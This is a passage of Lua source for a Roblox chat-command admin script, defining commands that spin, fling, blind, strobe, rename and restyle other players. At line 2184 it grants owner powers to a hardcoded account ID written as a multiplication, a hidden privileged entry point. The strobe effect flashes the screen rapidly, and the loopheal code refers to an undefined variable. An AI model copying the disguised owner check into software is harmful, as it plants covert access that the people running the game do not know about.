  1690. if msg:lower():sub(1,5) == "spin " then
  1691. local plrz = GetPlr(plr, msg:lower():sub(6))
  1692. for i, v in pairs(plrz) do
  1693. coroutine.resume(coroutine.create(function()
  1694. if v and v.Character and v.Character:findFirstChild("Torso") then
  1695. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1696. local torso = v.Character:findFirstChild("Torso")
  1697. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1698. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1699. until not bg or bg.Parent ~= torso
  1700. end
  1701. end))
  1702. end
  1703. end
  1704.  
  1705. if msg:lower():sub(1,7) == "unspin " then
  1706. local plrz = GetPlr(plr, msg:lower():sub(8))
  1707. for i, v in pairs(plrz) do
  1708. coroutine.resume(coroutine.create(function()
  1709. if v and v.Character and v.Character:findFirstChild("Torso") then
  1710. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1711. end
  1712. end))
  1713. end
  1714. end
  1715.  
  1716. if msg:lower():sub(1,4) == "dog " then
  1717. local plrz = GetPlr(plr, msg:lower():sub(5))
  1718. for i, v in pairs(plrz) do
  1719. coroutine.resume(coroutine.create(function()
  1720. if v and v.Character and v.Character:findFirstChild("Torso") then
  1721. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1722. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1723. v.Character.Torso.Transparency = 1
  1724. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1725. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1726. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1727. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1728. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1729. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1730. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1731. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1732. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1733. end
  1734. end))
  1735. end
  1736. end
  1737.  
  1738. if msg:lower():sub(1,6) == "undog " then
  1739. local plrz = GetPlr(plr, msg:lower():sub(7))
  1740. for i, v in pairs(plrz) do
  1741. coroutine.resume(coroutine.create(function()
  1742. if v and v.Character and v.Character:findFirstChild("Torso") then
  1743. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1744. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1745. v.Character.Torso.Transparency = 0
  1746. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1747. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1748. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1749. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1750. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1751. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1752. end
  1753. end))
  1754. end
  1755. end
  1756.  
  1757. if msg:lower():sub(1,8) == "creeper " then
  1758. local plrz = GetPlr(plr, msg:lower():sub(9))
  1759. for i, v in pairs(plrz) do
  1760. coroutine.resume(coroutine.create(function()
  1761. if v and v.Character and v.Character:findFirstChild("Torso") then
  1762. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1763. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1764. v.Character.Torso.Transparency = 0
  1765. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1766. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1767. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1768. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1769. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1770. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1771. end
  1772. end))
  1773. end
  1774. end
  1775.  
  1776. if msg:lower():sub(1,10) == "uncreeper " then
  1777. local plrz = GetPlr(plr, msg:lower():sub(11))
  1778. for i, v in pairs(plrz) do
  1779. coroutine.resume(coroutine.create(function()
  1780. if v and v.Character and v.Character:findFirstChild("Torso") then
  1781. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1782. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1783. v.Character.Torso.Transparency = 0
  1784. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1785. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1786. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1787. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1788. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1789. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1790. end
  1791. end))
  1792. end
  1793. end
  1794.  
  1795. if msg:lower():sub(1,8) == "bighead " then
  1796. local plrz = GetPlr(plr, msg:lower():sub(9))
  1797. for i, v in pairs(plrz) do
  1798. coroutine.resume(coroutine.create(function()
  1799. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1800. end))
  1801. end
  1802. end
  1803.  
  1804. if msg:lower():sub(1,9) == "minihead " then
  1805. local plrz = GetPlr(plr, msg:lower():sub(10))
  1806. for i, v in pairs(plrz) do
  1807. coroutine.resume(coroutine.create(function()
  1808. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1809. end))
  1810. end
  1811. end
  1812.  
  1813. if msg:lower():sub(1,6) == "fling " then
  1814. local plrz = GetPlr(plr, msg:lower():sub(7))
  1815. for i, v in pairs(plrz) do
  1816. coroutine.resume(coroutine.create(function()
  1817. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1818. local xran local zran
  1819. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1820. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1821. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1822. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1823. end
  1824. end))
  1825. end
  1826. end
  1827.  
  1828. if msg:lower():sub(1,8) == "seizure " then
  1829. local plrz = GetPlr(plr, msg:lower():sub(9))
  1830. for i, v in pairs(plrz) do
  1831. coroutine.resume(coroutine.create(function()
  1832. if v and v.Character then
  1833. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1834. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1835. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1836. end
  1837. end))
  1838. end
  1839. end
  1840.  
  1841. if msg:lower():sub(1,10) == "unseizure " then
  1842. local plrz = GetPlr(plr, msg:lower():sub(11))
  1843. for i, v in pairs(plrz) do
  1844. coroutine.resume(coroutine.create(function()
  1845. if v and v.Character then
  1846. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1847. wait(.1) v.Character.Humanoid.PlatformStand = false
  1848. end
  1849. end))
  1850. end
  1851. end
  1852.  
  1853. if msg:lower():sub(1,12) == "removelimbs " then
  1854. local plrz = GetPlr(plr, msg:lower():sub(13))
  1855. for i, v in pairs(plrz) do
  1856. coroutine.resume(coroutine.create(function()
  1857. if v and v.Character then
  1858. for a, obj in pairs(v.Character:children()) do
  1859. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1860. end
  1861. end
  1862. end))
  1863. end
  1864. end
  1865.  
  1866. if msg:lower():sub(1,5) == "name " then
  1867. local chk1 = msg:lower():sub(6):find(" ") + 5
  1868. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1869. for i, v in pairs(plrz) do
  1870. coroutine.resume(coroutine.create(function()
  1871. if v and v.Character and v.Character:findFirstChild("Head") then
  1872. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1873. local char = v.Character
  1874. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1875. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1876. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1877. char.Head.Transparency = 1
  1878. end
  1879. end))
  1880. end
  1881. end
  1882.  
  1883. if msg:lower():sub(1,7) == "unname " then
  1884. local plrz = GetPlr(plr, msg:lower():sub(8))
  1885. for i, v in pairs(plrz) do
  1886. coroutine.resume(coroutine.create(function()
  1887. if v and v.Character and v.Character:findFirstChild("Head") then
  1888. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1889. end
  1890. end))
  1891. end
  1892. end
  1893.  
  1894. if msg:lower():sub(1,5) == "char " then
  1895. local chk1 = msg:lower():sub(6):find(" ") + 5
  1896. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1897. for i, v in pairs(plrz) do
  1898. coroutine.resume(coroutine.create(function()
  1899. if v and v.Character then
  1900. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1901. v:LoadCharacter()
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,7) == "unchar " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(8))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and v.Character then
  1912. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1913. v:LoadCharacter()
  1914. end
  1915. end))
  1916. end
  1917. end
  1918.  
  1919. if msg:lower():sub(1,7) == "infect " then
  1920. local plrz = GetPlr(plr, msg:lower():sub(8))
  1921. for i, v in pairs(plrz) do
  1922. coroutine.resume(coroutine.create(function()
  1923. if v and v.Character then
  1924. Infect(v.Character)
  1925. end
  1926. end))
  1927. end
  1928. end
  1929.  
  1930. if msg:lower():sub(1,11) == "rainbowify " then
  1931. local plrz = GetPlr(plr, msg:lower():sub(12))
  1932. for i, v in pairs(plrz) do
  1933. coroutine.resume(coroutine.create(function()
  1934. if v and v.Character and v.Character:findFirstChild("Torso") then
  1935. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1936. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1937. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1938. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1939. cl.Parent = v.Character cl.Disabled = false
  1940. end
  1941. end))
  1942. end
  1943. end
  1944.  
  1945. if msg:lower():sub(1,9) == "flashify " then
  1946. local plrz = GetPlr(plr, msg:lower():sub(10))
  1947. for i, v in pairs(plrz) do
  1948. coroutine.resume(coroutine.create(function()
  1949. if v and v.Character and v.Character:findFirstChild("Torso") then
  1950. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1951. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1952. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1953. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1954. cl.Parent = v.Character cl.Disabled = false
  1955. end
  1956. end))
  1957. end
  1958. end
  1959.  
  1960. if msg:lower():sub(1,8) == "noobify " then
  1961. local plrz = GetPlr(plr, msg:lower():sub(9))
  1962. for i, v in pairs(plrz) do
  1963. coroutine.resume(coroutine.create(function()
  1964. if v and v.Character then
  1965. Noobify(v.Character)
  1966. end
  1967. end))
  1968. end
  1969. end
  1970.  
  1971. if msg:lower():sub(1,9) == "ghostify " then
  1972. local plrz = GetPlr(plr, msg:lower():sub(10))
  1973. for i, v in pairs(plrz) do
  1974. coroutine.resume(coroutine.create(function()
  1975. if v and v.Character and v.Character:findFirstChild("Torso") then
  1976. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1977. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1978. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1979. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1980. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1981. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1982. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1983. end end
  1984. end
  1985. end))
  1986. end
  1987. end
  1988.  
  1989. if msg:lower():sub(1,8) == "goldify " then
  1990. local plrz = GetPlr(plr, msg:lower():sub(9))
  1991. for i, v in pairs(plrz) do
  1992. coroutine.resume(coroutine.create(function()
  1993. if v and v.Character and v.Character:findFirstChild("Torso") then
  1994. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1995. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1996. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1997. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1998. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1999. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2000. end end
  2001. end
  2002. end))
  2003. end
  2004. end
  2005.  
  2006. if msg:lower():sub(1,6) == "shiny " then
  2007. local plrz = GetPlr(plr, msg:lower():sub(7))
  2008. for i, v in pairs(plrz) do
  2009. coroutine.resume(coroutine.create(function()
  2010. if v and v.Character and v.Character:findFirstChild("Torso") then
  2011. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2012. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2013. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2014. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2015. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2016. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2017. end end
  2018. end
  2019. end))
  2020. end
  2021. end
  2022.  
  2023. if msg:lower():sub(1,7) == "normal " then
  2024. local plrz = GetPlr(plr, msg:lower():sub(8))
  2025. for i, v in pairs(plrz) do
  2026. coroutine.resume(coroutine.create(function()
  2027. if v and v.Character and v.Character:findFirstChild("Torso") then
  2028. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2029. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2030. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2031. v.Character.Torso.Transparency = 0
  2032. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2033. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2034. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2035. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2036. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2037. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2038. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2039. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2040. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2041. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2042. end end
  2043. end
  2044. end))
  2045. end
  2046. end
  2047.  
  2048. if msg:lower():sub(1,7) == "trippy " then
  2049. local plrz = GetPlr(plr, msg:lower():sub(8))
  2050. for i, v in pairs(plrz) do
  2051. coroutine.resume(coroutine.create(function()
  2052. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2053. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2054. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2055. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2056. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2057. end
  2058. end))
  2059. end
  2060. end
  2061.  
  2062. if msg:lower():sub(1,9) == "untrippy " then
  2063. local plrz = GetPlr(plr, msg:lower():sub(10))
  2064. for i, v in pairs(plrz) do
  2065. coroutine.resume(coroutine.create(function()
  2066. if v and v:findFirstChild("PlayerGui") then
  2067. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2068. end
  2069. end))
  2070. end
  2071. end
  2072.  
  2073. if msg:lower():sub(1,7) == "strobe " then
  2074. local plrz = GetPlr(plr, msg:lower():sub(8))
  2075. for i, v in pairs(plrz) do
  2076. coroutine.resume(coroutine.create(function()
  2077. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2078. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2079. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2080. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2081. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2082. end
  2083. end))
  2084. end
  2085. end
  2086.  
  2087. if msg:lower():sub(1,9) == "unstrobe " then
  2088. local plrz = GetPlr(plr, msg:lower():sub(10))
  2089. for i, v in pairs(plrz) do
  2090. coroutine.resume(coroutine.create(function()
  2091. if v and v:findFirstChild("PlayerGui") then
  2092. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2093. end
  2094. end))
  2095. end
  2096. end
  2097.  
  2098. if msg:lower():sub(1,6) == "blind " then
  2099. local plrz = GetPlr(plr, msg:lower():sub(7))
  2100. for i, v in pairs(plrz) do
  2101. coroutine.resume(coroutine.create(function()
  2102. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2103. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2104. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2105. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2106. end
  2107. end))
  2108. end
  2109. end
  2110.  
  2111. if msg:lower():sub(1,8) == "unblind " then
  2112. local plrz = GetPlr(plr, msg:lower():sub(9))
  2113. for i, v in pairs(plrz) do
  2114. coroutine.resume(coroutine.create(function()
  2115. if v and v:findFirstChild("PlayerGui") then
  2116. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2117. end
  2118. end))
  2119. end
  2120. end
  2121.  
  2122. if msg:lower():sub(1,7) == "guifix " then
  2123. local plrz = GetPlr(plr, msg:lower():sub(8))
  2124. for i, v in pairs(plrz) do
  2125. coroutine.resume(coroutine.create(function()
  2126. if v and v:findFirstChild("PlayerGui") then
  2127. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2128. end
  2129. end))
  2130. end
  2131. end
  2132.  
  2133. if msg:lower():sub(1,9) == "loopheal " then
  2134. local plrz = GetPlr(plr, msg:lower():sub(10))
  2135. for i, v in pairs(plrz) do
  2136. if v then
  2137. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2138. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2139. repeat wait()
  2140. coroutine.resume(coroutine.create(function()
  2141. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2142. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2143. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2144. end
  2145. end))
  2146. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2147. end
  2148. end
  2149. end
  2150.  
  2151. if msg:lower():sub(1,11) == "unloopheal " then
  2152. local plrz = GetPlr(plr, msg:lower():sub(12))
  2153. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2154. end
  2155.  
  2156. if msg:lower():sub(1,10) == "loopfling " then
  2157. local plrz = GetPlr(plr, msg:lower():sub(11))
  2158. for i, v in pairs(plrz) do
  2159. if v then
  2160. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2161. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2162. repeat
  2163. coroutine.resume(coroutine.create(function()
  2164. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2165. local xran local zran
  2166. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2167. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2168. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2169. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2170. end
  2171. end))
  2172. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2173. end
  2174. end
  2175. end
  2176.  
  2177. if msg:lower():sub(1,12) == "unloopfling " then
  2178. local plrz = GetPlr(plr, msg:lower():sub(13))
  2179. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2180. end
  2181.  
  2182. end
  2183.  
  2184. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2185.  
  2186. if msg:lower():sub(1,3) == "oa " then
  2187. local plrz = GetPlr(plr, msg:lower():sub(4))
  2188. for i, v in pairs(plrz) do
  2189. coroutine.resume(coroutine.create(function()
  2190. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2191. end))
  2192. end
  2193. end
  2194.  
  2195. if msg:lower():sub(1,5) == "unoa " then
  2196. for i = 1, #owners do
  2197. coroutine.resume(coroutine.create(function()
  2198. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2199. end))
  2200. end
  2201. end
  2202.  
  2203. if msg:lower() == "settings" then
  2204. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2205. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2206. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
